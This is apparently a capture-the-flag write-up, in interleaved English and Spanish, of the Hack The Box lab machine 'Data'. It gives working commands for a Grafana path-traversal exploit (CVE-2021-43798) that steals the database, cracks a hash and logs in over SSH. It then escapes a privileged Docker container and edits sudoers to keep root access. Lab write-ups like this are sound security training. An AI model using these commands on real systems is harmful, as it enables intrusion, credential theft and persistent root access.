Data
Executive summary — Data is an Easy Linux box that mirrors a very realistic scenario: a Grafana v8.0.0 panel exposed on port 3000 is vulnerable to CVE-2021-43798, an unauthenticated path traversal / LFI. With it we exfiltrate Grafana's SQLite database (
grafana.db), crackboris's PBKDF2-HMAC-SHA256 hash and SSH in. Once inside,sudo -lreveals a NOPASSWD entry ondocker exec: dropping into a running container as root with--privilegedlets us mount the host disk and fully escape the container. Path: Grafana LFI -> grafana.db -> boris -> sudo docker exec --privileged -> mount the host -> root.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.234.47 |
Attack map
[3000] Grafana v8.0.0 -> CVE-2021-43798 (path traversal / LFI)
| read /var/lib/grafana/grafana.db (SQLite)
v
[HASH] boris (PBKDF2-HMAC-SHA256) -> cracked -> beautiful1
|
v
[SSH] boris : beautiful1 (user.txt)
| sudo -l -> NOPASSWD: /snap/bin/docker exec *
v
[DOCKER] exec -it --privileged --user root <container> bash
| inside, privileged: mount /dev/sda1 /mnt
v
[ROOT] host disk mounted at /mnt (root.txt + sudoers)
1. Reconnaissance
Before touching anything: a full port sweep, then a version/script scan against whatever is open, so we don't miss a service sitting on a high port.
nmap -p- --min-rate 10000 10.129.234.47 -oN scan.txt
nmap -p22,3000 -sCV 10.129.234.47 -oN scan_services.txt
| Port | Service | Detail |
|---|---|---|
| 22 | SSH | OpenSSH 7.6 |
| 3000 | HTTP | Grafana |
Two useful clues from the first scan already: the response's TTL differs from what a plain Linux host usually shows, which often gives away that the service is running inside a container; and port 3000 (instead of the usual 80/443) signals the web app as the main vector, while SSH is left for later, once we have credentials.
Resumen ejecutivo — Data es un Linux Easy que reproduce un escenario muy realista: un panel de Grafana v8.0.0 expuesto en el puerto 3000 es vulnerable a CVE-2021-43798, un path traversal / LFI sin autenticacion. Con el exfiltramos la base SQLite de Grafana (
grafana.db), crackeamos el hash PBKDF2-HMAC-SHA256 deborisy entramos por SSH. Una vez dentro,sudo -lrevela un NOPASSWD sobredocker exec: metiendonos en un contenedor existente como root y con--privilegedpodemos montar el disco del host y escapar del contenedor por completo. Recorrido Grafana LFI -> grafana.db -> boris -> sudo docker exec --privileged -> mount del host -> root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.234.47 |
Mapa del ataque
[3000] Grafana v8.0.0 -> CVE-2021-43798 (path traversal / LFI)
| leer /var/lib/grafana/grafana.db (SQLite)
v
[HASH] boris (PBKDF2-HMAC-SHA256) -> crackeado -> beautiful1
|
v
[SSH] boris : beautiful1 (user.txt)
| sudo -l -> NOPASSWD: /snap/bin/docker exec *
v
[DOCKER] exec -it --privileged --user root <contenedor> bash
| dentro, privilegiado: mount /dev/sda1 /mnt
v
[ROOT] disco del host montado en /mnt (root.txt + sudoers)
1. Reconocimiento
Antes de tocar nada, un barrido completo de puertos y luego un escaneo de version/scripts sobre lo que este abierto: asi no nos dejamos servicios en puertos altos.
nmap -p- --min-rate 10000 10.129.234.47 -oN scan.txt
nmap -p22,3000 -sCV 10.129.234.47 -oN scan_services.txt
| Puerto | Servicio | Detalle |
|---|---|---|
| 22 | SSH | OpenSSH 7.6 |
| 3000 | HTTP | Grafana |
Dos pistas importantes desde el primer escaneo: el TTL de la respuesta es distinto del tipico de un host Linux normal, lo que suele delatar que el servicio corre dentro de un contenedor; y el puerto 3000 (no el 80/443 habitual) apunta a que la web es el vector principal, mientras que SSH quedara para el acceso posterior una vez tengamos credenciales.
2. Web panel analysis
We visit http://10.129.234.47:3000 and land on a Grafana login. The landing/version banner identifies the instance as Grafana v8.0.0 — that version number is the key hint for finding public exploits.
3. Identifying the vulnerability — CVE-2021-43798
Before trying brute force or hunting for forms, we check whether the version has known CVEs. With Grafana the answer is immediate.
CVE-2021-43798 is a directory traversal / LFI in Grafana's plugin path (affects 8.0.0-beta1 through 8.3.0): the /public/plugins/<plugin-id>/ endpoint doesn't properly validate the requested path, so by prepending ../ we can escape the plugin directory and read any file on the server without authentication.
4. Exploiting the LFI
Basic test against /etc/passwd to confirm the traversal:
curl --path-as-is 'http://10.129.234.47:3000/public/plugins/alertlist/../../../../../../../../etc/passwd'
The
--path-as-isflag is essential: without it, curl normalizes the URL and collapses the../segments before sending the request, so the traversal never reaches the server.
With the password file readable, we confirm the LFI works and move on to something juicier than system credentials: Grafana's own database.
5. Exfiltrating the database
Grafana stores users, dashboards and datasources in a SQLite database, by default at /var/lib/grafana/grafana.db. We download it through the same LFI:
curl --path-as-is 'http://10.129.234.47:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db' -o grafana.db
file grafana.db
file confirms we downloaded a valid SQLite file and not an HTML error page.
6. Database analysis and credentials
sqlite3 grafana.db
.tables
Among the tables is user, with the columns we care about: login, password hash and salt.
select login, password, salt from user;
The query returns (hash and salt shortened here for brevity) two users: admin and boris, each with its own hash and salt.
admin | <hash> | <salt>
boris | <hash> | <salt>
7. Cracking the hash
Grafana derives passwords with PBKDF2-HMAC-SHA256. It's a deliberately slow algorithm (resistant to fast brute force), but a dictionary password still falls if we have the hash and salt. Cracking boris's hash gives us the plaintext password:
boris : beautiful1
8. SSH access and user.txt
sshpass -p beautiful1 ssh boris@10.129.234.47
whoami
cat ~/user.txt
9. Local enumeration — sudo -l
With regular user access, the first thing to check is always what can be run as root without a password.
sudo -l
The result is the key to the whole escalation:
(root) NOPASSWD: /snap/bin/docker exec *
boris can run docker exec as root, without a password, and with any argument (the * wildcard includes flags like --privileged and --user root). That's equivalent to full control of the host: just drop into an existing container in privileged mode as root.
10. Privilege escalation — docker exec --privileged
First we identify a running container:
ps aux | grep docker
With the container ID (for example e6ff5b1cbc85), we enter as root and in privileged mode using the passwordless sudo:
sudo docker exec -it --privileged --user root e6ff5b1cbc85 bash
--user rootgives us root privileges inside the container;--privilegedis the real problem: it disables Docker's namespace and capability isolation, exposing the host's real block devices (like/dev/sda1) inside the container.
11. Container escape — mounting the host disk
Being privileged, the container sees the host's physical disk. We mount it:
mount /dev/sda1 /mnt
From here /mnt is the machine's real filesystem, outside container isolation. We read the flag directly:
cat /mnt/root/root.txt
12. Persistent root shell
To avoid repeating the docker exec dance every time, we edit the host's real sudoers file (reachable via /mnt) and add a passwordless entry for boris:
nano /mnt/etc/sudoers
# add:
# boris ALL=(ALL) NOPASSWD: /bin/bash
We exit the container and, back in the regular SSH session as boris, get a direct root shell on the host:
exit
sudo bash
id
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | Grafana v8.0.0 | CVE-2021-43798 (path traversal / LFI) | Arbitrary file read -> grafana.db |
| Credentials | grafana.db (SQLite) | PBKDF2 hash crackable by dictionary | SSH as boris |
| PrivEsc | sudoers (/snap/bin/docker exec *) | Unrestricted NOPASSWD wildcard (allows --privileged) | Root inside the container |
| Escape | --privileged container | Direct access to host block devices | Mount host disk and real root |
Lessons learned
- Update Grafana: CVE-2021-43798 reads any file unauthenticated; patch to ≥ 8.3.1.
- Don't expose Grafana's database: an LFI reaching
grafana.dbhands over every user hash. - Strong passwords: even with PBKDF2, a dictionary password still falls; use long, unique passphrases.
- Never grant NOPASSWD on
docker exec *: the wildcard lets an attacker sneak in--privilegedand--user root, which is equivalent to host root. - Avoid
--privilegedunless strictly necessary: it breaks Docker's isolation and exposes host devices to the container.
2. Analisis del panel web
Visitamos http://10.129.234.47:3000 y encontramos el login de Grafana. La pagina de bienvenida/version identifica la instancia como Grafana v8.0.0 — ese numero de version es la pista clave para buscar exploits publicos.
3. Identificacion de la vulnerabilidad — CVE-2021-43798
Antes de lanzar fuerza bruta o buscar formularios, comprobamos si la version tiene CVEs conocidos. Con Grafana la respuesta es tajante.
CVE-2021-43798 es un directory traversal / LFI en la ruta de plugins de Grafana (afecta a las versiones 8.0.0-beta1 hasta 8.3.0): el endpoint /public/plugins/<plugin-id>/ no valida correctamente la ruta solicitada, asi que anteponiendo ../ podemos escapar del directorio del plugin y leer cualquier fichero del servidor sin autenticarnos.
4. Explotacion del LFI
Prueba basica contra /etc/passwd para confirmar el traversal:
curl --path-as-is 'http://10.129.234.47:3000/public/plugins/alertlist/../../../../../../../../etc/passwd'
El flag
--path-as-ises imprescindible: sin el, curl normaliza la URL y colapsa los../antes de enviar la peticion, con lo que el traversal nunca llega al servidor.
Con el fichero de contraseñas legible, confirmamos que el LFI funciona y pasamos a buscar algo mas jugoso que credenciales de sistema: la propia base de datos de Grafana.
5. Exfiltracion de la base de datos
Grafana guarda usuarios, dashboards y datasources en una base SQLite, por defecto en /var/lib/grafana/grafana.db. La descargamos con el mismo LFI:
curl --path-as-is 'http://10.129.234.47:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db' -o grafana.db
file grafana.db
file confirma que hemos descargado un fichero SQLite valido y no una pagina de error HTML.
6. Analisis de la base de datos y credenciales
sqlite3 grafana.db
.tables
Entre las tablas esta user, con las columnas que nos interesan: login, hash de password y salt.
select login, password, salt from user;
La consulta devuelve (hash y salt abreviados aqui por brevedad) dos usuarios: admin y boris, cada uno con su hash y su salt.
admin | <hash> | <salt>
boris | <hash> | <salt>
7. Crackeo del hash
Grafana deriva las contraseñas con PBKDF2-HMAC-SHA256. Es un algoritmo deliberadamente lento (resistente a fuerza bruta rapida), pero una contraseña de diccionario cae igualmente si tenemos el hash y la salt. Crackeando el hash de boris obtenemos la contraseña en claro:
boris : beautiful1
8. Acceso SSH y user.txt
sshpass -p beautiful1 ssh boris@10.129.234.47
whoami
cat ~/user.txt
9. Enumeracion local — sudo -l
Con acceso de usuario normal, lo primero es siempre mirar que puede ejecutar como root sin contraseña.
sudo -l
El resultado es la clave de toda la escalada:
(root) NOPASSWD: /snap/bin/docker exec *
boris puede ejecutar docker exec como root, sin contraseña, y con cualquier argumento (el comodin * incluye flags como --privileged y --user root). Eso equivale a control total del host: basta con meterse en un contenedor existente en modo privilegiado como root.
10. Escalada de privilegios — docker exec --privileged
Primero identificamos un contenedor en marcha:
ps aux | grep docker
Con el ID del contenedor (por ejemplo e6ff5b1cbc85), entramos como root y en modo privilegiado usando el sudo sin contraseña:
sudo docker exec -it --privileged --user root e6ff5b1cbc85 bash
--user rootnos da privilegios de root dentro del contenedor;--privilegedes lo realmente critico: desactiva el aislamiento de namespaces y capabilities de Docker, exponiendo los dispositivos de bloque reales del host (como/dev/sda1) dentro del contenedor.
11. Escape del contenedor — montar el disco del host
Al ser privilegiado, el contenedor ve el disco fisico del host. Lo montamos:
mount /dev/sda1 /mnt
A partir de aqui /mnt es el sistema de ficheros real de la maquina, fuera del aislamiento del contenedor. Leemos la flag directamente:
cat /mnt/root/root.txt
12. Root shell persistente
Para no depender de repetir el docker exec cada vez, editamos el sudoers real del host (accesible via /mnt) y añadimos una entrada sin contraseña para boris:
nano /mnt/etc/sudoers
# añadir:
# boris ALL=(ALL) NOPASSWD: /bin/bash
Salimos del contenedor y, ya en la sesion SSH normal de boris, obtenemos una shell de root directa en el host:
exit
sudo bash
id
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | Grafana v8.0.0 | CVE-2021-43798 (path traversal / LFI) | Lectura arbitraria de ficheros -> grafana.db |
| Credenciales | grafana.db (SQLite) | Hash PBKDF2 crackeable por diccionario | SSH como boris |
| PrivEsc | sudoers (/snap/bin/docker exec *) | NOPASSWD sin restriccion de flags (permite --privileged) | Root dentro del contenedor |
| Escape | Contenedor --privileged | Acceso directo a dispositivos de bloque del host | Montar disco del host y root real |
Lecciones aprendidas
- Actualiza Grafana: CVE-2021-43798 permite leer cualquier fichero sin autenticacion; parchea a ≥ 8.3.1.
- No expongas la base de datos de Grafana: un LFI que alcance
grafana.dbentrega todos los hashes de usuario. - Contraseñas fuertes: incluso con PBKDF2, una password de diccionario cae; usa passphrases largas y unicas.
- Nunca des NOPASSWD sobre
docker exec *: el comodin permite colar--privilegedy--user root, lo que equivale a root del host. - Evita
--privilegedsalvo necesidad real: rompe el aislamiento de Docker y expone los dispositivos del host al contenedor.